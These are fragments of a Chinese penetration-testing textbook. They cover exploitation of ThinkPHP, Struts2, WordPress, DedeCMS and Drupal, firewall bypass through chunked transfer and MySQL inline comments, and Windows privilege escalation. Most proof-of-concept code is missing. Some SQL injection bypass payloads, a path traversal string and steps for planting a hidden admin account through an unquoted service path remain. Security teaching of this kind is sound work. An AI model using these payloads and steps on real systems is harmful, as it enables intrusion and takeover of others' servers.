    {"text": "ThinkPHP中最典型且危害最大的漏洞便是命令执行漏洞，接下来 重点介绍几个ThinkPHP中常见的命令执行漏洞。 1 ． ThinkPHP 2.x 命令执行漏洞 在ThinkPHP 2.x版本中，程序使用了preg_replace()函数危险的“/e”修 饰符，“/e”修饰符会使preg_replace()函数执行用户输入的参数，从而造 成任意代码执行漏洞，漏洞代码如下： 运行下述POC可以执行系统命令，同样在ThinkPHP 3.0版本Lite模 式下也存在这个漏洞。"},
    {"text": "图4-2 代码执行 2 ． ThinkPHP 5.0 命令执行漏洞 在ThinkPHP5.0在核心代码中实现了表单请求类型伪装的功能，通 过$_POST['_method']来传递真实的请求方法，攻击者可以通过POST传 递_method=__construct来对Request类的method方法进行覆盖。"},
    {"text": "图4-3 命令执行成功 3 ． ThinkPHP 5.x 命令执行漏洞 由于框架对控制器没有正确处理检测，导致在网站没有开启强制路 由的情况下可能会导致命令执行，运行下述POC执行任意命令： 如图4-4所示，运行POC后发现phpinfo函数得到了执行。"},
    {"text": "表4-1 Struts2 RCE总结 续表 表4-1简要总结了已经发布的Struts2 OGNL表达式注入漏洞的注入点 和注入代码的写法，可以发现其涵盖了HTTP请求的多处位置。"},
    {"text": "S2-003的POC如下： S2-005则是由于官方对S2-003的修复不完全导致的，S2-005的POC 如下： 对比两个POC我们不难发现，在S2-005前面多了一 段“(‘%5C43_memberAccess. allowStaticMethodAccess’)(a)=true”，用以打 开安全配置中的静态方法调用。 这是因为官方对S2-003的修复仅仅是关 闭静态方法调用，绕过这个修复十分简单，也就有了S2-005，如图4-5 所示为其执行结果。"},
    {"text": "图4-5 S2-005执行结果 2 ． S2-045/S2-046 漏洞 Struts2使用基于Jakarta的文件上传Multipart解析器，如果该Content-Type值无效，则会引发异常，然后向用户显示错误消息，并对异常信息 进行OGNL表达式处理，可以构造恶意Content-Type值执行RCE攻击。"},
    {"text": "该漏洞是由于在Struts2开发框架 中使用namespace功能定义XML配置时，namespace值未被设置，且上层 动作配置（Action Configuration）未设置或用通配符namespace，可能导 致远程代码执行。 同理，URL标签未设置value和action值且上层动作未 设置或用通配符namespace时，也可能导致远程代码执行。"},
    {"text": "Apache Struts版本2.3至2.3.34和版本2.5至2.5.16，当 alwaysSelectFullNamespace为true时，可能会受到远程代码执行（由用户 或诸如Convention Plugin之类的插件使用），同时，使用没有设置值和 操作的URL标记时也可能导致远程代码执行。"},
    {"text": "图4-7 S2-057漏洞利用结果 4.3 CMS 漏洞 随着网络应用的丰富和发展，很多网站往往不能迅速跟进大量信息 衍生及业务模式变革的脚步，常常需要花费许多时间、人力和物力来处 理信息更新和维护工作；"},
    {"text": "对网站内容的管理是该软件的最大优势，它流 程完善、功能丰富，可把稿件分门别类并授权给合法用户编辑管理，而 不需要用户去理会那些难懂的SQL语法。"},
    {"text": "CMS种类繁多，程序员水平不一导致CMS漏洞一度成为Web渗透的 重灾区，如常见的WordPress、DedeCMS、Drupal等都爆出过众多安全 问题，如任意代码执行、反序列化、SQL注入等，为恶意攻击者提供了 可乘之机。 4.3.1 WordPress CMS 漏洞 WordPress是使用PHP语言开发的博客平台，用户可以在支持PHP和 MySQL数据库的服务器上架设属于自己的网站，也可以把WordPress当 作一个内容管理系统（CMS）来使用。"},
    {"text": "甚至 有黑客团队专门研发了针对WordPress的漏洞扫描器WPScan，如图4-8所 示。 图4-8 WPScan WordPress的漏洞一般分为CMS本身漏洞和插件漏洞，在本节中将 重点介绍几个WordPress的常见漏洞。"},
    {"text": "1 ． WordPress 5.0 远程代码执行漏洞 WordPress 5.0由于设计缺陷，导致存在目录遍历漏洞及本地文件包 含漏洞，两个漏洞组合可以实现在WorePress核心的远程代码执行。"},
    {"text": "（1）利用路径穿越在数据库中插入一个恶意路径，修改信息并更 新，在抓包的时候添加以下POC： 添加POC，如图4-9所示。 图4-9 添加POC 查询数据库，发现在数据库中插入一个恶意路径，如图4-10所示。"},
    {"text": "图4-11 裁剪图片 （3）在添加多媒体文件处上传一个任意格式的文件，如上传的 为“txt”文件，然后和上面修改“_wp_attached_file”值一样， 把“_wp_page_template”的值设为图片的地址，更新文件信息，使用 BurpSuite抓包并构造数据包如下： 触发漏洞，如图4-12所示。"},
    {"text": "图4-12 触发漏洞 2 ． WordPress 4.6 远程代码执行漏洞 (CVE-2016-10033) WordPress使用PHPMailer组件向用户发送邮件，该组件在5.2.18之 前版本中isMail传输中的mailSend函数可能允许远程攻击者将额外的参 数传递给mail，导致可能存在远程命令执行漏洞。"},
    {"text": "图4-13 漏洞利用 4.3.2 DedeCMS 漏洞 织梦内容管理系统，是国内最知名的PHP开源网站管理系统，以简 单、实用和开源而闻名，是使用用户最多的PHP类CMS系统。 织梦基于 PHP+MySQL技术架构，经过多年的发展，在功能和易用性方面，取得 了长足发展，适用于个人网站或中小型门户网站的构建，官网地址 为“http://www.dedecms.com”。"},
    {"text": "1）前台用户密码重置 由于设计缺陷存在弱类型问题，并 且“safequestion”和“safeanswer”变量用户可控，导致将“$safequestion”重 构为“0.0”可以绕过判断，进而造成了前台用户密码重置漏洞，漏洞利用 POC如下： 使用BurpSuite抓包，单击忘记密码，输入用户名“admin”，找回 admin用户的密码，然后将BurpSuite抓到的POST请求数据替换成上述 POC，使用POC如图4-15所示。"},
    {"text": "图4-17 重置密码 2）任意修改后台密码 由于设计缺陷，可以通过“member/edit_baseinfo.php”修改密码，当 前台admin密码修改时，后台admin密码也会修改，由于前台admin用户 无法登录，因此无法直接修改密码，登录前台admin如图4-18所示。 图4-18 登录前台admin 这里可以利用另一漏洞，先任意注册一个用户名包含“1”的用户， 如“test1”，注册用户如图4-19所示。"},
    {"text": "图4-19 注册用户 使用BurpSuite抓包，然后访问会员空间，将抓到的包 的“DedeUserID”的值替换成“last_vid”的值，将“DedeUserID__ckMd5”的 值替换成“last_vid__ckMd5”的值，抓包并修改如图4-20所示。 图4-20 抓包并修改 替换之后放行修改后的包，发现用户变成了admin，admin用户如图 4-21所示。 图4-21 admin用户 然后访问“member/edit_baseinfo.php”修改密码，将抓到的包 的“DedeUserID”的值替换成“last_vid”的值，将“DedeUserID__ckMd5”的 值替换成“last_vid__ckMd5”的值，后续每步操作都需要替换，使每步都 带着管理员的Cookie，后续操作不再重复描述，修改密码如图4-22所 示。 图4-22 修改密码 修改成功后使用新密码登录，发现成功登录后台，如图4-23所示。 图4-23 登录后台 3）后台任意文件上传 登录后台后，单击“系统”，然后选择“系统基本参数”配置参数，单 击“附件设置”，在“允许上传的软件类型”处添加“php”，附件设置如图4-24所示。 图4-24 附件设置 然后单击“核心”，选择“附件管理”，然后单击“上传新文件”，在“附 件/其它”处上传“test.php”，上传php文件如图4-25所示。 图4-25 上传php文件 这里上传phpinfo进行测试，上传成功后单击文件名，访问phpinfo 文件，如图4-26所示。"},
    {"text": "图4-26 访问phpinfo文件 4.3.3 Drupal 漏洞 Drupal是使用PHP语言编写的开源内容管理框架（CMF），它由内 容管理系统（CMS）和PHP开发框架（Framework）共同构成，能支持 从个人博客到大型社区驱动的网站等各种不同应用的网站项目，官网地 址为“https://www.drupal.org”。"},
    {"text": "1 ． CVE-2014-3704 SQL 注入攻击 Drupal在7.0到7.31版本的“database abstraction API”中 的“expandArguments”函数没有正确构造预准备的语句，使远程攻击者 可以通过包含精心制作的键的数组进行SQL注入攻击。"},
    {"text": "漏洞利用POC如下： 使用BurpSuite抓取登录的POST请求包，依次参考上述POC修改 POST数据，例如查库名，如图4-27所示，最终获取的管理密码的密文 为“$S$DhYIeCIAbrP3Hbj0OXsxk6 jk8MUClpdzmYYB/c8fv3eIi73Nk.QQ”。"},
    {"text": "以下版本受到影响：Drupal 7.58 之前版本、Drupal 8.3.9之前的8.x版本、Drupal 8.4.6之前的8.4.x版本、 Drupal 8.5.1之前的8.5.x版本。"},
    {"text": "图4-28 执行系统命令 4.4 绕过 Web 防火墙 4.4.1 WAF 简介 WAF对于一些常规漏洞（如注入漏洞、XSS漏洞、命令执行漏洞、 文件包含漏洞等）的检测大多是基于“正则表达式”和“AI+规则”的方 法，因此会有一定的概率绕过其防御。"},
    {"text": "（1）异常检测协议：拒绝不符合HTTP标准的请求，也可以只允许 符合HTTP协议的部分选项通过，也有一些Web应用防火墙还可以严格 限定HTTP协议中那些过于松散或未被完全制定的选项。"},
    {"text": "4.4.2 WAF 识别 WAF绕过不仅要了解WAF检查的原理，还需要识别是什么类型的 WAF，不同类型、不同品牌的WAF的检测机制不一样，绕过的方式也 不同。"},
    {"text": "比如目标存在安全狗的WAF，那么就可以查找一下安全狗的历 史绕过方式，并测试此目标采用的版本是否能够被绕过，历史漏洞信息 如图4-29所示。 图4-29 历史漏洞信息 识别WAF有很多种方式，如判断响应（header、cookie等）、网页 特征码等，既可以使用手工的方式，也可以使用自动化的工具进行识 别。"},
    {"text": "表4-2 常见WAF的特征值 续表 更多的特征可以查看WAF识别工具内的规则文件，如下是SQLMap 自带的规则，我们可参考其规则进行手工判断，如带有“headers_get”行 的可根据传入网页的字符进行判断，带有“page_get”行的可根据传入网 页的内容进行判断。"},
    {"text": "工具识别方式和手工的区别主要在于更准确和方便快捷，比较常用 的工具就是WAFW00F。 WAFW00F是一个专业识别WAF的工具，相较 于其他大型内带WAF识别的工具要快捷方便很多。"},
    {"text": "其检测的方式为发 送正常的HTTP请求并分析响应，在这期间检测WAF，如果识别不成 功，它将通过发送带有恶意字符之类的HTTP请求进行分析，如果还是 不成功，WAFW00F将分析先前返回的响应，并使用另一种简单算法来 猜测WAF是否正在积极响应发出的攻击。"},
    {"text": "WAFW00F自带的规则可识别 国内外150余款WAF，因为WAFW00F是专业识别WAF的工具，所以在 目前公开的WAF识别工具内规则是最多的。 除了WAFW00F这种专业工具外，SQLMap工具也自带WAF识别功 能，但其效果不如WAFW00F，因为其WAF识别规则较少，当然 SQLMap的WAF识别规则是可以后期补充的。 WAFW00F下载地址为： https://github.com/EnableSecurity/wafw00f。"},
    {"text": "WAFW00F的用法也非常简单，只需要在后面加入需要检测的目标 地址即可，如“wafw00f http://172.16.26.151”。 对172.16.26.151这个地址 进行WAF识别，WAFW00F的检测结果如图4-30所示，成功识别出为安 全狗WAF。 图4-30 WAFW00F的检测结果 SQLMap的识别命令和WAFW00F相比就不算简单了，命令 为“sqlmap -u \"http://172.16.1.2\" --identify-waf”，其唯一缺陷就是自带的 WAF规则太少，如果碰到规则库中没有的，但是存在的WAF则会显 示“Generic (Unknown)”，不过对于国内一些常见的WAF已经够用了。 SQLMap的检测结果如图4-31所示，目标站点存在云锁WAF。 图4-31 SQLMap的检测结果 手工识别WAF可以使用的方法有： （1）HTTP请求包分析响应数据。"},
    {"text": "1 ． HTTP 请求包分析响应数据 奇安信安域WAF标识如图4-32所示。 对网站进行正常访问，查看响 应的头部信息，在X-Powered-By内显示“anyu.qianxin.com”的标识，代表 安装了奇安信安域WAF。 图4-32 奇安信安域WAF标识 Cookie标识如图4-33所示。"},
    {"text": "图4-34 根据返回的协议判断WAF 2 ．通过访问不存在的页面来分析页面 访问不存在的页面如图4-35所示，访问一个不存在的二级目 录“/newexxxxxxxx/”显示404错误，根据页面左方的安全狗LOGO推断目 标安装了安全狗WAF。 图4-35 访问不存在的页面 3 ．请求恶意字符分析响应或敏感页面 在一个正常的URL后面加入恶意的字符，比如“and 1=1”，恶意字符 可以随意输入，再如文件读取漏洞“cat ../../../../passwd”，只要是常见的 恶意字符即可，主要目的就是让WAF进行拦截，从其输出的内容进行 判断，请求恶意URL如图4-36所示。 敏感页面的方式和插入恶意字符的 原理相同，很多时候WAF设置会把phpinfo等一些较为敏感的页面设置 阻断，如访问“phpinfo.php”页面。 图4-36 请求恶意URL 4.4.3 绕过 WAF 绕过WAF，首先要知道它过滤了什么，比如单一的“select”关键字 是不会被WAF拦截的，但是如果组合为“union select”就有可能会被拦 截。"},
    {"text": "在攻击SQL注入漏洞的时候，常见的关键字有and、or、union、 where、limit、group by、select等，这个时候我们可以尝试等价替换或者 通过注释等方法进行测试。"},
    {"text": "1 ． pipline 绕过 pipline绕过利用了HTTP的管道化技术，HTTP遵循请求响应模型， 发起A请求，目标返回A请求的响应，当然，WAF也是如此。 利用这个 原理使用管道化连接可以在发起请求的同时发送多个HTTP请求，如果 WAF只判断第一个请求，那么就能成功绕过WAF。"},
    {"text": "pipline绕过首先要进行以下两点的设置： （1）去掉勾选“Content-Length更新”，如图4-37所示。 图4-37 去掉勾选“Content-Length更新” （2）默认请求数据包如图4-38所示，可以发现Connection 为“close”，我们需要将它改为持久连接的状态，也就是把“close”换 成“keep-alive”。 图4-38 默认请求数据包 上述两点设置完成之后就可以进行测试了，因为正常请求的POST 数据为“id=1”，所以“Content-Length”的值为4，如图4-39所示，注意一 定不要变。 图4-39 Content-Length的值为4 开始第一个步骤，复制请求包到“id=1”后面的位置，“id=1POST”不 需要空格。 如图4-40所示的第二个请求包和第一个的区别是第一个带 Cookie，而第二个未带Cookie，测试过程中服务端验证只需要带一个 Cookie即可。"},
    {"text": "图4-40 第二个请求包 开始测试pipline绕过，使用双请求包进行请求，如图4-41所示，响 应也是两次，大多数的WAF仅检测第一个的请求，利用二次请求绕过 WAF的检测。"},
    {"text": "图4-41 使用双请求包进行请求 2 ．分块传输绕过 分块传输编码是超文本传输协议（HTTP）中的一种数据传输机 制，允许HTTP由网页服务器发送给客户端应用（通常是网页浏览器） 的数据分成多个部分。"},
    {"text": "首先我们要知道分块传输的格式，如图4-42所示，首先要在请求头 添加“Transfer-Encoding”并且值设为“chunked”，这样才可以进行分块传 输，设置成功后就可以进行多个分块数据的传输，最后用长度为0的块 表示终止块。 图4-42 分块传输的格式 最重要的是配置分块的数据，长度值必须为十六进制，长度值一 行，数据一行。"},
    {"text": "原始数据是“id=1 and 1=1”，一般的WAF都会检测，可以通过分块 传输进行绕过，经过分块转换之后，可将数据分为4个块，分块传输如 图4-43所示。 当然具体分为几块并不是一定的，主要根据WAF的检测规 则进行分块，原则是将可能触发WAF规则的关键字进行分块。"},
    {"text": "为了更好的绕过WAF，也可以将“id=1 and 1=1”按照以下方式分 块： 当然也可以在每个长度值后加上分号做注释，以便让WAF识别不 出数据包，绕过的概率更大。"},
    {"text": "接下来使用分块传输的方法对安全狗进行测试，测试之前先用常规 的方式进行测试，使用Payload：“id=1'UniOn sELeCt 1,user()%23”进行 测试，通过如图4-44所示的拦截回显，可以得知已经被安全狗拦截。 图4-44 拦截回显 用常规的方式传输会被安全狗拦截，那么使用分块传输的方式进行 测试。"},
    {"text": "图4-45 回显 3 ． HTTP 协议覆盖绕过 HTTP协议覆盖绕过通过更换Content-Type的类型来绕过WAF的检 测，目前很多WAF对Content-type的类型进行首要的检测，下面是 Content-type常见的四种类型。"},
    {"text": "WAF在对Content-type进行检查时，对“multipart/form-data”协议的 检测比较少或者把它当作文件上传进行检查，所以我们利用这一特性对 WAF进行绕过。"},
    {"text": "通过构造“multipart/form-data”协议的方式进行绕过测 试，“multipart/form-data”协议可以理解为由一个请求头和一个请求体组 合而成。 请求头为“Content-Type: multipart/form-data; boundary=test”，“boundary”后面的“test”不固定，可以随机写，它的作用 是代表分隔符。 正常的POST请求方式是“id=123”，但是若 在“multipart/form-data”协议内发送“id=123”，需要“form-data:name=“id””指定id值，然后换行输入传输的内容“123”。 因 为“multipart/form-data”是添加了分隔符等内容的构造体，其中，test为请 求头信息中设置的分割符，请求头内boundary设置的是什么字符，在请 求体内的分隔符就是什么字符。"},
    {"text": "根据上述“multipart/form-data”协议的构造方法，我们可以通过构造 对安全狗进行绕过测试，首先将Content-type的类型改为“multipart/form-data”，并构造“multipart/form-data”请求内容，如图4-46所示。"},
    {"text": "图4-47 注意事项 当然也可以增加一些其他方法以增加绕过的概率，如图4-48所示的 增加boundary信息，服务端一般对boundary的验证就是忽略逗号后面的 所有信息，但是有WAF的检查可能就是对boundary后面的test2进行检 测，从而越过test并完成绕过。 图4-48 增加boundary信息 另一个可以增大绕过概率的方法则是进行HTTP charset编码，如图 4-49所示，此方法就是对传送内容进行编码，使用方法为在Content-Type类型后加入“charset=ibm500”即可。 图4-49 进行HTTP charset编码 当然更多的是利用多种绕过方法进行组合绕过的，如配合分块传输 的方式进行绕过，组合绕过如图4-50所示。"},
    {"text": "代码中最值得关注的就 是字典了，fuzz_zs、fuzz_sz、fuzz_ch这三行就是脚本用到的字符，当 然也可以自己添加，字典越多越详细，绕过的概率就越大。"},
    {"text": "图4-52 匹配关键字 Fuzz成功的URL会在脚本当前目录下创建“ip.txt”文件并写入进 去，“ip.txt”文件如图4-53所示。 图4-53 “ip.txt”文件 在前端Fuzz成功则显示“Find Fuzz bypass”，失败则显示“Now URL”，前端反馈结果如图4-54所示。"},
    {"text": "图4-56 Fuzz的运行结果 打开其中一个Fuzz成功的URL链接并进行分析： 在浏览器内打开，显示语法错误，访问URL如图4-57所示，这个链 接主要的绕过字符就是注释符，即内联注释。"},
    {"text": "图4-57 访问URL 内联注释是MySQL数据库会执行的放在“/**/”注释符里面的语句， 由此可以判断安全狗WAF未对注释内的字符进行检测。 为了更好的进 行分析，把传输的命令单独拿出来： 既然判断出安全狗未对注释内的字符进行检测过滤，那么我们就在 注释符内查询数据库和用户名并进行测试。"},
    {"text": "在不使用内联注释的情况下，使用正常的查询数据库名的命 令“%27union%20 select%201,database()%23”，数据库名查询失败，如图 4-58所示。 图4-58 数据库名查询失败 在使用内联注释的情况下，在注释符内写入查询数据库名的命 令“/*%27union%20 select%201,database()%23*/”： 数据库名查询成功，如图4-59所示。 图4-59 数据库名查询成功 在不使用内联注释的情况下，使用正常的查询用户名的命 令“%27union%20 select%201,user()%23”： 用户名查询失败，如图4-60所示。 图4-60 用户名查询失败 在使用内联注释的情况下，在注释符内写入查询用户名的命 令“/*%27union%20 select%201,user()%23*/”： 用户名查询成功，如图4-61所示。 图4-61 用户名查询成功 通过测试发现，网站安全狗（Apache版）4.0.26550可以通过在内联 注释符号内运行SQL语句进行查询绕过。"},
    {"text": "通过注释符绕过WAF还有另一种方式：当MySQL数据库的实际版 本大于内联注释中的版本时就会执行里面的代码，可以利用MySQL的 这个特性绕过特殊字符过滤。"},
    {"text": "例如“/*!50010*/”也可以执行里面的SQL语 句，其中“5.00.10”为MySQL版本号，下面对这种方法进行测试。 在这次测试中就不在注释符内执行SQL语句了，而是在各个参数之 间进行测试，测试的语句采用查询当前数据库名的语 句“%27union%20select%201,database()%23”，通过“/*!50010*/”方法进行 测试，“50010”表示数据库如果是5.00.10以上版本，该语句才会被执 行。"},
    {"text": "通过输入以下命令： 发现执行了union和select参数，触发拦截，如图4-62所示，看来此 方法行不通，只能变换思路。 图4-62 触发拦截 用注释符号把union和select关键字分开进行测试，结果也是失败。 因为是注释内容，所以可以加入字符进行测试，通过对注释内容加 入字符“a”发现可以规避掉安全狗的检测： 但是根据如图4-63所示的报错信息，发现不仅语法出错，执行的命 令也偏离了我们的目的，首先排除数据库版本问题，因为采用的 MySQL版本不低于5.00.10版本。 图4-63 报错信息 如果在注释的50010后面再加数字也会被拦截，所以还是加入字 母，当然数据库是不会执行后面字母的。 如图4-64所示，在注释的50010后面加入数字被拦截。 图4-64 在注释的50010后面加入数字被拦截 这个时候和Fuzz脚本一样，进行“模糊暴力”的测试方法。"},
    {"text": "图4-65 执行结果 既然如此，已经可以用“/*!60010*/”绕过安全狗WAF的检测，那么 继续进行查询数据库名的操作，构造完整的查询语句： 执行结果如图4-66所示，被安全狗拦截。 图4-66 执行结果 首先我们测试过“union select”是可以绕过的，但是查询“user()”函数 出现了拦截，问题可能就是出在“user()”函数上面，既然如此，继续使 用“/*!60010a*/”对“user()”函数进行绕过。 构造“user/*!60010a*/()”进行测试： 如图4-67所示，成功绕过安全狗WAF。 图4-67 成功绕过安全狗WAF 可以再测试一下对当前数据库名的查询，还是采用同样的方式，语 句不变，在“database()”函数中间插入注释“database/*!60010a*/()”： 如图4-68所示，成功查询数据库名。 图4-68 成功查询数据库名 在注释符绕过的方法中，只要比50010的值大10000左右即可，当 然，60000也是可以进行绕过的。"},
    {"text": "2 ．简单介绍绕过云锁 云锁基于云检测，在服务器端安装一个模块即可进行安全防护，可 谓方便快捷。 本小节简单介绍如何规避云锁的检测，我们可以先使用绕 过安全狗WAF的方式进行测试。"},
    {"text": "图4-69 内联注释符执行语句被拦截 使用第二种注释方式“/*!90010a*/”可以绕过拦截： 如图4-70所示，成功执行SQL语句，并获取数据库名。"},
    {"text": "图4-71 SQL语句被拦截 使用分块传输的方式可以成功绕过WAF，如图4-72所示，能够查出 当前数据库名。 图4-72 成功绕过WAF 使用分块传输的方式，查询数据库user名并进行测试，成功查询 user名如图4-73所示。"},
    {"text": "图4-73 成功查询user名 经过以上几种方式的测试，绕过云锁可以采用分块传输和注释符的 方法，当然绕过的方法需要大家自己多去探索，任何的防御软件都有可 能存在缺陷。"},
    {"text": "现在的操作系统都是多用户操作系统，用户之间都有权限控制，比如通 过Web漏洞拿到的是Web进程的权限，往往Web服务都是以一个权限很 低的账号启动的，因此通过Webshell进行一些操作会受到限制，这就需 要将其提升为管理甚至是System权限。 通常通过操作系统漏洞或操作系统的错误配置进行提权，也可以通 过第三方软件服务，如数据库或FTP等软件的漏洞进行提权。"},
    {"text": "下面将详细地介绍如何在Windows和Linux操作系统中提权，以及 如何利用常见的第三方软件数据库和FTP等服务提权。 5.2 Windows 提权 Windows提权涉及的领域和范围很广，主要的提权方式还是利用自 身漏洞或者错误配置，例如利用缓冲区溢出提权、Windows错误系统配 置提权、任意用户以NT AUTHORITY\\SYSTEM权限安装MSI提权、启 动项和组策略提权、计划任务提权和进程注入提权等，下面将一一介 绍，涉及的实例都以拿到一个低权限Shell为基础进行介绍。 5.2.1 溢出提权 溢出提权是指攻击者利用系统本身或系统中软件的漏洞来获取 Windows操作系统System权限，其中溢出提权又分为远程溢出和本地溢 出。 远程溢出需要与远程服务器建立连接，然后根据系统漏洞使用相应 的溢出程序获取远程服务器的Windows操作系统System权限。 本地溢出 是主流的提权方式，通常需要向服务器上传本地溢出程序，然后在服务 器执行，如果系统存在漏洞，那么将会溢出获得Windows操作系统 System权限。 通常利用缓冲区溢出提权步骤如下： （1）信息收集，如查看当前权限，查看版本、补丁等。"},
    {"text": "1 ．信息收集常用命令 攻击者在拿到一个低权限Shell的时候，对目标系统还不了解。 这个 系统是什么类型的操作系统，系统运行了哪些服务，目前获得的Shell是 什么样的权限，这些都需要通过对目标进行信息收集来评估目前的情 况。"},
    {"text": "信息收集常用命令如下： 2 ．使用 WMIC 枚举目标信息 WMIC被认为是Windows最有用的命令行工具，通过WMIC可以快 速枚举目标的系统信息。 使用WMIC枚举目标信息常用命令如下： 3 ．常见 Windows 提权的漏洞点 对目标收集信息完毕后，可根据系统版本信息、补丁情况等参考下 列漏洞并评估目前系统可能存在的可用于提权的漏洞，然后根据漏洞选 择提权EXP。"},
    {"text": "提权常用的漏洞、对应的补丁及影响版本如下： 4 ．搜索 EXP 搜索EXP的方法有很多，在没有互联网的情况下通常会通过 Searchsploit和MSF直接以漏洞名去搜索EXP，若是无法直接找到那可能 是因为漏洞库中没有，则需要通过网络去查找对外公开的EXP集合。"},
    {"text": "1）Searchsploit搜索EXP 在Github上有公开的Exploit-DB漏洞存储库，地址 为“https://github.com/offensive-security/exploitdb”，而Searchsploit是 Exploit-DB的命令行搜索工具，Kali自带Exploit-DB和SearchSploit。"},
    {"text": "下面 介绍Searchsploit常用参数： 例如使用命令“searchsploit MS17”搜索微软2017年所有漏洞，如图5-1所示，通过“searchsploit MS17”命令，搜索出微软2017年所有漏洞。 图5-1 搜索微软2017年所有漏洞 2）Metasploit搜索EXP Metasploit是一个渗透测试平台，可以使用它查找、利用和验证漏 洞，也可以在msfconsole根据漏洞编号搜索EXP。 例如，使用命令“search MS08-067”搜索MS08-067漏洞利用模块， 如图5-2所示，通过命令搜索到MS08-067漏洞利用模块 为“exploit/windows/smb/ms08_067_netapi”，可以利用此模块对存在 MS08-067漏洞的系统进行攻击。 图5-2 搜索MS08-067漏洞利用模块 3）搜索网上对外公开的EXP 若是可以访问互联网，可以搜索网上对外公开的EXP，用得比较多 的网站有Exploit-DB，官网为“https://www.exploit-db.com”；"},
    {"text": "Github上也 有很多EXP集合，用得比较多的有“https://github.com/SecWiki/windows-kernel-exploits”。 以Exploit-DB的官网为例演示搜索EXP，如图5-3所示，例如搜索漏 洞“ms17-017”的EXP，通过在搜索栏中搜索“ms17-017”就可以搜索到多 个相关的EXP。"},
    {"text": "本案例是攻击者通过Web漏洞获取了一个Shell，获得Shell后，攻击 者往往最关心的是当前获得的Shell是否具有最高权限，因为低权限Shell 对于后续的渗透操作有很多限制，攻击者需要通过Shell管理工具运 行“whoami”命令进行信息收集并查看当前Shell权限，发现当前的Shell 是IIS程序的普通权限，Shell权限如图5-4所示。 图5-4 Shell权限 通常IIS程序的权限只有在Web服务器上启动和运行工作进程所需的 最低权限，当前只能根据目前系统允许执行的操作尽可能地收集有用的 信息。"},
    {"text": "下面运行命令“systeminfo | findstr /L /C:OS /C:KB”查看目标系统 信息及补丁情况，发现目标系统是“Windows Server 2008”，并且仅打 了“KB2999226”、“KB976902”和“KB976932”三个补丁，系统情况如图5-5所示。 图5-5 系统情况 由于目标打的补丁很少，可以利用的漏洞点很多，参考常见 Windows提权的漏洞点寻找一个对应的漏洞，例如“MS15-051”，然后 在“https://github.com/SecWiki/windows-kernel-exploits”下载MS15-051漏 洞的EXP，如图5-6所示。 图5-6 下载MS15-051漏洞的EXP 通常提权EXP的用法就是在后面跟需要执行的命令即可，这样通过 提权EXP执行的命令就是权限提升后执行的命令，下载EXP后通过 Webshell上传到目标系统，然后使用“cd”命令切换到EXP所在的目录， 运行命令“MS15-051.exe \"whoami\"”，发现权限提升为System。 简单地 说，也就是使用EXP运行的命令都会以System权限运行，这样就达到了 提权的目的，当然若不加EXP运行命令，则还是原来的低用户权限，溢 出提权如图5-7所示。 图5-7 溢出提权 5.2.2 错误系统配置提权 随着网络安全的发展和普及，不打补丁的系统少之又少，所以很多 时候通过系统自身的漏洞很难提权，这个时候就需要考虑查看是否存在 可利用的错误系统配置，例如路径未加引号或未指定可执行文件路径 等，这些问题都有可能会造成路径拦截，若是被高权限的进程拦截启动 了恶意文件，该恶意文件可能是攻击者生成的具有反弹Shell或添加了管 理账户等危险操作的木马，恶意文件会以该进程的权限执行危险操作， 从而导致权限提升。"},
    {"text": "1 ． Trusted Service Paths 漏洞 Windows服务运行时，如果服务路径（存储在Windows注册表项 中）和快捷方式路径具有一个或多个空格并且没有用引号括起来， Windows会对每一个空格尝试寻找名字与空格前的名字相匹配的程序执 行，这样会很容易受到路径拦截，然后造成Trusted Service Paths漏洞利 用。 例如，若注册表存在没有被引号引起来的服务路径“C:\\Program Files\\Common Files\\Service.exe”，因为此路径中的“Program Files”和“Common Files”都存在空格，就可能会发生路径截断，服务启动 时Windows会依次尝试寻找下面的程序执行。"},
    {"text": "这里使用“wmic”命令进行信息收集，拿到低权限Shell后运行下述命 令，查看没有加引号的服务路径： 发现Everything服务的路径没有加引号，并且存在多个空格，那么 则可以考虑是否可以通过在“C:\\”目录下创建一个程序“Program.exe”，或 者是在“C:\\Program Files\\”目录下创建一个程序“Common.exe”来劫持服 务的启动提权，查看没有加引号的服务路径如图5-8所示。 图5-8 查看没有加引号的服务路径 虽然Windows服务大多数情况是以System权限运行，为确保提权的 顺利需要确认服务器的启动权限，运行“sc qc Everything”命令查看 Everything服务详细配置，“SERVICE_START_NAME”是服务运行账 号，“START_TYPE”为启动类型，发现启动方式是自启，并且是以 System权限运行，服务详情如图5-9所示。 图5-9 服务详情 确认服务是以System权限运行后，再查看目录权限，看是否可以 在“C:\\”目录下创建程序“Program.exe”，或者是在“C:\\Program Files\\”目录 下创建程序“Common.exe”，这只需要看user用户是否有“F”和“M”的权 限，“F”为完全访问权限，“M”为修改权限，运行“icacls \"C:\\Program Files\\\"”命令发现user用户对“C:\\Program Files\\”目录具有完全控制权，那 么便可以在该目录下创建“Common.exe”，目录权限如图5-10所示。 图5-10 目录权限 编写C程序实现新建隐藏用户，并且将用户添加到管理组，然后使 用“i586-mingw32msvc-gcc”将其编译成Windows程序，命令为“i586-mingw32msvc-gcc exp.c -o Common.exe-mwindows”，命令执行成功便会 生成“Common.exe”，生成利用程序如图5-11所示。 图5-11 生成利用程序 然后将“Common.exe”上传到“C:\\Program Files\\”目录下，Everything 服务启动时便会运行“Common.exe”，由于Everything服务是以System权 限启动的，因此“Common.exe”也会以System权限启动，所以会成功添加 管理账户，上传利用程序如图5-12所示。 图5-12 上传利用程序 由于权限比较低的情况下无法重启服务，所以需要等待服务重启或 者系统重启执行exe，系统重启后发现用户添加成功，系统重启如图5- 13所示。"},
    {"text": "图5-13 系统重启 2 ． PATH 环境变量配置错误 PATH环境变量包含很多目录列表，某些执行程序的方法（即使用 cmd.exe或命令行）仅依赖PATH环境变量来确定未提供程序路径时搜索 程序的位置。 简单说就是当用户在cmd命令行中运行一个命令时，若是 没有使用绝对路径运行，如“C:\\Windows\\System32\\ ipconfig.exe”，直接 在cmd中运行“ipconfig”，那么Windows会先在当前目录寻 找“ipconfig.exe”，若是没找到，则会根据PATH环境变量里的目录依次 去寻找。 通常新增PATH环境变量是在最后面添加，若是由于配置不当，导 致在最前面新增了PATH环境变量，那么在此目录下新建与常用系统命 令一样名字的exe程序会优先执行。"},
